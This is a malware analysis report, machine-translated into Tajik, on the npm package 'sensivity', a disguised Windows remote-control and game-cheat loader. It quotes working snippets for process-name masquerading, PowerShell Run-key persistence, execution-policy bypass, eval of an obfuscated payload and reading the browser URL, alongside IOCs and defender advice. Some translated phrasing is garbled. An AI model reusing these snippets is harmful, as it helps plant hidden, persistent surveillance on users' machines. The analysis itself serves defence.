ХИБ; DR
Бастаи npm ҳассосият худро ҳамчун "Панели идоракунии ҳассосият" тавсиф мекунад. Дар Windows он ҳамчун абзори идоракунии дурдаст ва назорат амал мекунад.
Нуқтаи вуруди он, launcher.js, раванди худро ба Runtime Broker номгузорӣ мекунад, арзиши автоматии оғози Run-key-ро бо номи менависад. OneDriveUpdate ки бастаро тавассути VBScript-и пинҳоншуда аз нав оғоз мекунад, PowerShell-ро бо -ExecutionPolicy Bypass, ва сипас бори сервери 171 KB-и печидашударо дар баробари модули аслии 6.87 MB арзёбӣ мекунад, sens.node.
Он ба панели идоракунии ҷуфткунии телефон дар порти TCP 3000 хизмат мерасонад ва URL-и сатри суроғаҳои браузери фаъолро тавассути Windows UIAutomation мехонад ва як видеои YouTube-и сахт рамзгузоришударо тамошо мекунад.
Ду қисме, ки қаблан чапро ҳамчун қуттиҳои сиёҳ мехонданд, ҳоло ҳал карда шуданд. Сервери печида, server.obf.js, аз схемаи массиви сатрии obfuscator.io RC4 истифода мебарад; аз нав амалӣ кардани декодери он офлайн (бе иҷрои JavaScript) як нуқтаи ниҳоии берунаро барқарор мекунад — https://izopi.com/check.php — якҷоя бо калиди оммавии дарунсохти RSA, ки барои тасдиқи посухҳои иҷозатномаи имзошуда истифода мешавад.
Модули аслӣ, sens.node, бастабандӣ нашудааст: ҷадвали воридоти он ва сатрҳои дарунсохт онро ҳамчун қабати DirectX 11 / Dear ImGui дар бозӣ муайян мекунанд, ки хусусиятҳои aimbot, ESP (wall-hack) ва triggerbot-ро таъмин мекунад, ки тавассути воридкунии дурдасти раванд ва хондан/навиштани хотира идора карда мешаванд.
Сатрҳои дохили он ба объектҳои воситаҳои нақлиёт ва маконҳои харита мувофиқи GTA V / FiveM ишора мекунанд. Бастаи npm печонидани интиқол ва истодагарӣ дар атрофи ин модули аслӣ мебошад.
Сигнали муайянкунанда амалиётӣ аст, на техникӣ: як ношири беном тақрибан ҳафтод версияи як бастаро нашр кард — 2.5.0 то 2.5.69 — дар тӯли чанд рӯз, ҳар кадоме як ракетаро бо худ дошт.
Ҳеҷ гуна насбкунӣ вуҷуд надорад hooksБоркунӣ танҳо вақте оғоз мешавад, ки баста оғоз мешавад.
Ҳамла: Чӣ тавр он кор мекунад
sensivity даҳ файлро мефиристад. package.json камёб аст: майдони анбор, иҷозатнома, як тахаллуси асосӣ ва ду bin (sensivity, sens) ҳама ба launcher.js нигаронида шудаанд ва скрипти оғози node launcher.js. Postinstall ё preinstall вуҷуд надорад. Ҳеҷ чиз дар npm install фаъол намешавад. Рафтори дар зер тавсифшуда ҳангоми оғоз кардани баста аз ҷониби корбар иҷро мешавад - тавассути bin shim, скрипти оғоз ё require.
Тарболи tarball дорои launcher, сервери нофаҳмо, модули аслӣ, скрипти Visual Basic ва директорияи public/web барои панели идоракунӣ мебошад. launcher.js оркестратори хондашаванда аст; мантиқе, ки дар вақти иҷро муҳим аст, дар ду блоке, ки он бор мекунад, зиндагӣ мекунад - сервери нофаҳмо ва модули аслии компилятсияшуда, ки ҳарду дар зер баррасӣ шудаанд.
Маскарад ва навсози қалбакии OneDrive-ро дар раванди коркард истифода баред
Дар аввали иҷроиш launcher.js номи раванди худро ду маротиба муқаррар мекунад:
javascript process.title = 'Runtime Broker'; Runtime Broker як раванди қонунии Windows (RuntimeBroker.exe) аст, ки иҷозатномаҳои барномаҳоро ба миён мегузорад. Иваз кардани номи раванди Node барои мувофиқат бо он маънои онро дорад, ки як нигоҳи кӯтоҳ ба Task Manager ҳеҷ чизи ғайриоддӣ нишон намедиҳад.
Устуворӣ тавассути PowerShell навишта мешавад, на тавассути API-и мустақими сабти ном:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Қимати оғозёбии худкор OneDriveUpdate ном дорад ва он мустақиман ба баста ишора намекунад. Он ба wscript.exe, ки OneDrive.Standalone.Updater.vbs-и бастабандишударо иҷро мекунад, ишора мекунад. Ин скрипт node launcher.js-ро дар равзанаи пинҳон аз нав оғоз мекунад. Ҳам номи калиди иҷро ва ҳам номи файли VBScript брендинги Microsoft-ро қарз мегиранд, аз ин рӯ вуруди оғозёбии худкор ҳамчун вазифаи муқаррарии OneDrive хонда мешавад.
PowerShell бо гузариши сиёсати иҷро
Оғозкунанда борҳо ба PowerShell паём мефиристад. Нуқтае, ки сканерҳо онро муҳим мешуморанд, оғози файли тавлидшудаи .ps1 бо сиёсати иҷроия ғайрифаъол аст:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); ExecutionPolicy Bypass санҷиши имзои скрипти маҳаллиро барои ин даъват нест мекунад. Скриптҳои тавлидшуда кори назорати браузер ва муайянкунии тирезаро, ки дар бахши оянда тавсиф шудаанд, иҷро мекунанд.
Сервери печида ва модули аслӣ
Пас аз насб, launcher.js бори воқеии худро бор мекунад ва иҷро мекунад:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));server.obf.js 171 KB аз обфускатсияи _0x-array аст — намунаи JavaScript, ки дар он ҳар як сатр ва идентификатор бо индекс ба массиви омехта иваз карда мешавад ва сипас дар вақти иҷро истинод карда намешавад. Ин схема варианти RC4 аст, ки аз ҷониби obfuscator.io истеҳсол шудааст: як функсияи ягонаи декодер base64 - вуруди массивро декод мекунад ва сипас RC4 - онро бо калиди per-call рамзкушоӣ мекунад. Аз нав татбиқ кардани ин декодер дар скрипти алоҳида - иҷро кардани танҳо татбиқи дубора дар массиви сатрии 821-вуруди истихроҷшуда, ҳеҷ гоҳ JavaScript-и худи баста - онро тоза кушода мекунад. Кадом сатҳҳо хоксоранд, аммо ...cisive: як URL-и беруна, https://izopi.com/check.php`, ки ба як доимии LICENSE_URL таъин шудааст; RSA PUBLIC_KEY_PEM`-и дарунсохт; панели маҳаллӣ /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off ва /trigger/status-ро роҳнамоӣ мекунад; ва сатрҳои child_process, crypto ва [Sensivity] sens.node боршуда - охирин сатри дақиқи сабти ном аст, ки launcher ба модули барнома боршуда аз нав менависад. Нуқтаи ниҳоӣ санҷиши иҷозатнома аст: муштарӣ идентификаторро нашр мекунад (сервери норавшан сатри ID-и Discord: %s-ро формат мекунад) ва калиди RSA посухи имзошудаи серверро тасдиқ мекунад.
sens.node як иловаи ватании компилятсияшудаи 6.87 МБ аст ва он бастабандӣ нашудааст - энтропияи қисмат дар 5.6-6.6 ҷойгир аст ва ҷадвалҳои воридот ва содироти PE солим мебошанд, аз ин рӯ имкониятҳои он мустақиман хонда мешаванд. Он napi_register_module_v1-ро содир мекунад, ки standard Нуқтаи вуруди N-API-и гиреҳ, бинобар ин сервери eval'd онро бо як require оддӣ бор мекунад. Ҷадвали воридоти он tell аст. Аз KERNEL32 он OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules ва Process32First/NextW-ро мегирад - маҷмӯи каноникӣ барои ёфтани раванди дигар, ҷудо кардани хотира дар дохили он ва хондан ё навиштани он хотира. Аз USER32 он GetAsyncKeyState, GetKeyState, mouse_event ва SetCursorPos-ро мегирад; он d3d11.dll, D3DCOMPILER_43 ва dwmapi-ро барои қабати экран ва маҷмӯи пурраи WINHTTP барои зангҳои шабакавӣ пайваст мекунад. Сатрҳои дарунсохти он маҷмӯи хусусиятҳоро бе ягон номуайянӣ номгузорӣ мекунанд: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected ва баннери Dear ImGui Dear ImGui 1.91.3 WIP. Сатрҳои макон ва объектҳо, ба монанди Grapeseed Medical Clinic ва луғати vehicle-ESP, бо GTA V / FiveM мувофиқанд.
Тақсимкунӣ дар асл қасдан анҷом дода шудааст: launcher.js-и хондашаванда танҳо қисмҳоеро дар бар мегирад, ки сканер ба осонӣ мехонад - persistence, nique, худи занги eval - дар ҳоле ки obfuscation як мизбони берунаро - контактҳои вақти иҷроро пинҳон мекунад ва файли дуӣ мантиқи бозиро дар бар мегирад ва мантиқи воридкунии равандро нигоҳ медорад. Launcher қабати тунук ва аудитшаванда аст; сервери obfuscation шахсияти шабакаро пинҳон мекунад; модули аслӣ боркунии муфид аст. Мо воридот ва сатрҳои файли дуиро ҳамчун хондашуда тавсиф мекунем; мо аз онҳо мақсади операторро ба даст намеорем.
Панели идоракунии ҷуфткунии телефон дар порти 3000
Оғозкунанда сервери маҳаллии вебро дар порти TCP 3000 идора мекунад ва онро ҳамчун як синглтон коркард мекунад. Он барои шунавандаи мавҷуда дархост мекунад ва пеш аз пайвасткунӣ онро тоза мекунад:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Ба панел дар http://localhost:3000 дастрасӣ пайдо кардан мумкин аст, ки URL-и эҳтиётии LAN-и сахт рамзгузорӣшуда http://192.168.1.16:3000 мебошад. Феҳристи public/ ва рафтори панел бо ҷараёни ҷуфткунии QR мувофиқанд: телефон рамзро скан мекунад ва ба хост ҳамчун идоракунии дурдаст пайваст мешавад. Дар оғозкунак ягон домени фармон ва идоракунии беруна дар матни оддӣ пайдо намешавад - аммо, тавре ки deobfuscation дар боло нишон дода шудааст, яке дар сервери obfuscation мавҷуд аст: нуқтаи ниҳоии иҷозатномаи izopi.com. Худи панел маҳаллӣ ва бо LAN маҳдуд аст; ягона хостгоҳи баромадкунанда санҷиши иҷозатнома аст.
Модели ҷудогонаи супервайзер/коргар равандро зинда нигоҳ медорад. Оғозкунанда худро бо парчамҳои муҳити SENSIVITY_SUPERVISOR ва SENSIVITY_WORKER аз нав фаъол мекунад, ки ҳар як кӯдак пинҳон кор мекунад, аз ин рӯ, куштани як раванд ба як посбон имкон медиҳад, ки онро аз нав оғоз кунад.
Назорати браузер ва сигнали YouTube
Рафтори мушаххастарин ин мониторинги браузер аст. launcher.js PowerShell-ро месозад, ки Windows UIAutomation-ро барои хондани сатри суроғаҳои браузери иҷрошаванда водор мекунад:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern мундариҷаи матнии унсури UI-ро бармегардонад. Агар ба идоракунии таҳрири сатри суроғаҳои браузер татбиқ карда шавад, он URL-и ҷабрдидаро, ки айни замон тамошо мекунад, бе васеъкунии браузер, бе ламс кардани профили диск ва бе қалмоқи API бармегардонад. Скрипти тавлидшуда рӯйхати $browserNames-ро такрор мекунад ва URL ё унвони тирезаи ҳар браузереро, ки дар сафҳаи пеш аст, истихроҷ мекунад.
Ин URL нисбат ба як ҳадафи рамзгузоришуда санҷида мешавад:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Оғозкунанда дар як даври се сония барои тирезаи браузер, ки YouTube-ро нишон медиҳад, пурсишҳо мегузаронад ва PowerShell-и тавлидшуда ҷуфти Get-YouTubeBrowser / Test-TargetYouTubeUrl-ро дорад, ки бо он ID-и видео мувофиқат мекунад. Таъсири мушоҳидашаванда дуҷониба аст: URL-и фаъоли браузер аз экрани ҷабрдида хонда мешавад ва таъсири мутақобилаи мизбон бо як видеои мушаххаси YouTube муайян карда мешавад. Мо механизм ва ҳадафро тавсиф мекунем; мо аз онҳо ангезаеро ба даст намеорем.
Хониши сатри суроғаҳо он чизест, ки сканер sensitive_data_enumeration-ро нишон медиҳад — манбаи Process::env ва UIAutomation, ки вақти кори мувофиқи шабакаро таъмин мекунад. Он дар алоҳидагӣ безарар ба назар мерасад ва танҳо пас аз пайгирии давраи ҳаёти маълумот аз манбаи UIAutomation то сервери печида ба назорат табдил меёбад.
Эволютсияи ҷадвали вақт ва версия
Ҳассосият як боркунии якбора нест. Ҳисоби ношир тақрибан ҳафтод версияи нашршудаи ин бастаи ягона дорад ва версияҳои нав дар давоми равзанаи баррасӣ пайдо мешуданд. Оғозкунанда хусусият ба хусусият дар тамоми сатри 2.5.x афзоиш меёбад, дар ҳоле ки устуворӣ ва боркунии фоиданоки он собит мемонад.
| Сана (UTC) | Версияҳои мушоҳидашуда | Ҳолати оғозкунанда |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Оғозкунандаи QR-панелҳои асосӣ; Пойдории тугмаи иҷро; арзёбии сервери печида. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Ҳамон изи ангушт; пахшкунии пайгирии консол. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Ҳадафи ҷалби YouTube-ро илова мекунад wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Нашри дубораи пур кардани холигӣ дар тамоми диапазон; нозири назоратӣ/коргар. |
Хондани launcher дар байни намояндагони зеркашишуда - 2.5.0, 2.5.36 ва 2.5.69 - чор сатҳро нишон медиҳад. Аввалин сохтаҳо launcher-ҷуфткунии QR-ро дар бар мегиранд. Аз 2.5.33, cutter-bar-address UIAutomation пайдо мешавад. Аз 2.5.58, қабати идоракунии супервайзер илова карда мешавад. Аз 2.5.64, watchdog-и ҷудогона супервайзер/коргар маҷмӯаро пурра мекунад. Дар тӯли ин, чор чиз ҳеҷ гоҳ тағйир намеёбад: калиди OneDriveUpdate Run, dropper OneDrive.Standalone.Updater.vbs, eval'd server.obf.js ва модули аслии sens.node.
Мавҷи соли 2026 қобили таваҷҷӯҳ аст, зеро он рақамҳои версияҳои пасттаринро — аз 2.5.0 то 2.5.15 — аз нав нашр кард, ки аз версияҳои чанд рӯз пеш тасдиқшуда камтаранд. Натиҷа як сатри пайвастаи 2.5.x дар феҳрист аст, ки ҳар як версия як launcher-ро дар бар мегирад.
Нишондиҳандаҳои созиш
Ҳамаи нишондиҳандаҳои дар поён овардашуда мустақиман аз бастаи tarball хонда шуданд. Оғози хондашаванда танҳо як даври бозгашт ва як суроғаи хусусии LAN дорад; як номи мизбони беруна, izopi.com, бо роҳи deobfuscating offline server.obf.js барқарор карда шуд.
| Намуди | нишондиҳандаи | Заметки |
|---|---|---|
| бастаи | npm:sensivity (≈70 версия, 2.5.0-2.5.69) | Ношири як баста; анбор нест; бе иҷозатнома. |
| File | launcher.js | Оркестратори хондашаванда; ҳадафи асосӣ ва бин. |
| File | server.obf.js (≈171 KB) | obfuscator.io RC4 сатри-массиви пурбор, бор карда шудааст тавассути eval(fs.readFileSync(...)). |
| File | sens.node (≈6.87 МБ) | Иловаи гиреҳи N-API барои PE32+ x86-64; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| File | OneDrive.Standalone.Updater.vbs | Бозсозии пинҳонӣ (node launcher.js). |
| шабакаи | https://izopi.com/check.php | Нуқтаи ниҳоии иҷозатнома/авторизатсия аз сервери печида барқарор карда шуд; калиди оммавии RSA-и дарунсохт посухҳоро тасдиқ мекунад. |
| Имконият | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Қобилияти хондан/навиштани воридкунии равандҳои дурдаст ва хотира. |
| Имконият | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | DirectX 11 / ImGui бозиҳои қабатӣ хусусиятҳои aimbot, ESP ва triggerbot-ро амалӣ мекунад. |
| Нишондиҳанда | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Қимати оғозёбии худкор ба wscript.exe ва оғози VBScript. |
| Раванди | process.title = 'Runtime Broker' | Ҳамчун раванди қонунии Windows Runtime Broker ниқоб карда мешавад. |
| Рафтор | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Гузариши сиёсати иҷроиш, ки барои скриптҳои тавлидшудаи PowerShell истифода мешавад. |
| Рафтор | UIAutomation ValuePattern хондани сатри суроғаи браузер | URL-и равзанаи браузери пешфарзро мехонад. |
| Рафтор | ID-и видеои мақсаднок wJWta2lO0Lw; Назарсанҷии 3-сонияи YouTube | Сигнали назорати ҷалби сӯзондашуда. |
| шабакаи | http://localhost:3000, ба пушт афтодан http://192.168.1.16:3000 | Панели идоракунии QR-ҷуфтсозӣ дар маҳал ва дар LAN кушода мешавад. |
| муҳит | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Парчамҳои ҳамоҳангсозии равандҳои назоратии ҷудогона. |
Истинод, таъсир ва ҳимоятгарон
Баста аз ҷониби як ҳисоби npm нашр мешавад, ки почтаи электронии зикршудааш суроғаи тасдиқнашудаи Gmail мебошад. Ҳисоб дорои холҳои хеле манфии обрӯи бақайдгирӣ мебошад, танҳо ин бастаро нигоҳ медорад ва нашр мекунад ва анбори манбаъи пайвандшуда надорад. Мо моликияти почтаи электрониро тасдиқ накардаем ва мо маъракаро ба ҳисоби ношир, на ба ягон шахси номбаршуда нисбат медиҳем. Оғозкунанда ягон инфрасохтори матни равшан надорад, аммо ҳоло як хости беруна маълум аст: сервери норавшан барои санҷиши иҷозатнома бо izopi.com тамос мегирад ва модули аслӣ - аз ҷадвали воридот ва сатрҳои он хонда мешавад, на аз дастур ба дастури баръакс - як қабати бозӣ аст, ки ба хотираи раванди дигар ворид ва мехонад.
Таъсири мушоҳидашаванда ба корбарони Windows, ки бо интизори утилитаи панели идоракунӣ ҳассосиятро насб ва иҷро мекунанд, мерасад. Дар ин хостҳо, баста устувории худкорро ҳамчун вазифаи OneDrive муқаррар мекунад, ки онро тақлид мекунад, ба раванди система номгузорӣ мекунад, URL-и ҳар чизеро, ки корбар мебинад, мехонад ва панели ҷуфткуниро, ки мошинро ба идоракунии дурдаст тавассути шабакаи маҳаллӣ пайваст мекунад, барқарор мекунад. Нозири назоратӣ/коргар маънои онро дорад, ки якбора куштани раванд онро нест намекунад; вуруди Run-key ҳангоми аз нав оғоз кардан зинда мемонад. macOS ва Linux аз ҷониби launcher ҳадаф қарор дода намешаванд - роҳҳои устуворӣ, PowerShell ва UIAutomation танҳо барои Windows мебошанд.
Камшавии ҳафтод версия тамоюлест, ки сазовори қайд аст. Аз нав нашр кардани як баста дар тӯли чанд рӯз даҳҳо маротиба, аз ҷумла пур кардани рақамҳои версияҳои поёнтар аз онҳое, ки аллакай нест карда шудаанд, нусхаи зиндаро дар феҳрист байни несткунӣ нигоҳ медорад ва рӯйхати блокҳои бо версияҳо сабтшударо ноумед мекунад. Вуруди рӯйхати блокҳо барои sensivity@2.5.61 ҳеҷ бар зидди sensivity@2.5.3, ки рӯзи дигар дубора нашр мешавад, кор намекунад.
Ҳимоягарон метавонанд дар асоси инҳо амал кунанд:
- Ҳассосияти номи бастаро дар рӯйхати иҷозатномаҳои registry-proxy ва CI комилан маҳкам кунед. Пин кардани версияҳои алоҳида ба суръати нашри такрорӣ зарар мерасонад; ном нишондиҳандаи устувор аст.
- Ҷустуҷӯи арзиши Run бо номи OneDriveUpdate, ки маълумоташ wscript.exe-ро бар зидди .vbs дар масири ҳар як корбар даъват мекунад. Навсозии аслии OneDrive бо ин роҳ ба қайд гирифта нашудааст.
- Огоҳӣ дар бораи раванди Node.js, ки process.title-и он Runtime Broker аст. Брокери воқеӣ RuntimeBroker.exe аст, на runtime Node.
- Гирифтани бастаҳои npm-ро, ки иловаи .node-и компилясияшуда ва eval(fs.readFileSync(…))-и файли бародари .obf.js-ро мефиристанд, қайд кунед. Ин ҷуфтшавӣ - файли дуии ношаффофи аслӣ, ки дар паҳлӯи боркунии матни норавшан бор карда шудааст - ин нишонаи сохторӣ дар ин ҷо аст, новобаста аз ҳама гуна сатри IOC.
- Ҳар гуна шунавандаи маҳаллии пайвастшуда дар порти 3000, ки аз ҷониби раванди ғайричашмдошти Node ба вуҷуд омадааст, ҳамчун гумонбар дар нуқтаҳои ниҳоии идорашавандаи Windows баррасӣ кунед.
- Дархостҳои содиротӣ ба izopi.com аз таҳиягар ё хостҳои корбари ниҳоӣ масдуд ё огоҳӣ медиҳанд; ин ягона нуқтаи ниҳоии берунаи баста аст, ки аз сервери печида ба /check.php дастрасӣ пайдо мекунад.
- Барои ҳама гуна иловаи .node, пеш аз эътимод ба он ҷадвали воридоти онро тафтиш кунед. Омезиши OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread новобаста аз он ки баста чӣ кор карданашро иддао мекунад, воридкунии раванди дурдаст аст; дар ин ҷо он дар паҳлӯи қабати Direct3D ва сатрҳои aimbot/ESP/triggerbot ҷойгир аст.
Барои таҳлили статикӣ pipelineс, шакли маҳкумият дар тамоми тағйироти версия устувор аст: профили насби ғайришабакавӣ, таъини унвони раванд ба номи маълуми раванди система, навиштани калиди иҷро тавассути PowerShell ва арзёбии файле, ки аз диск хонда мешавад. Ҳеҷ яке аз инҳо аз домен, IP ё рақами версияе, ки нашри навбатӣ метавонад онро иваз кунад, вобаста нестанд.
Адабиёт
[npm: ҳассосият] – саҳифаи бақайдгирӣ барои сатри версияи баста, ки дар ин ҷо баррасӣ шудааст; метавонад аз байн бурда шавад.
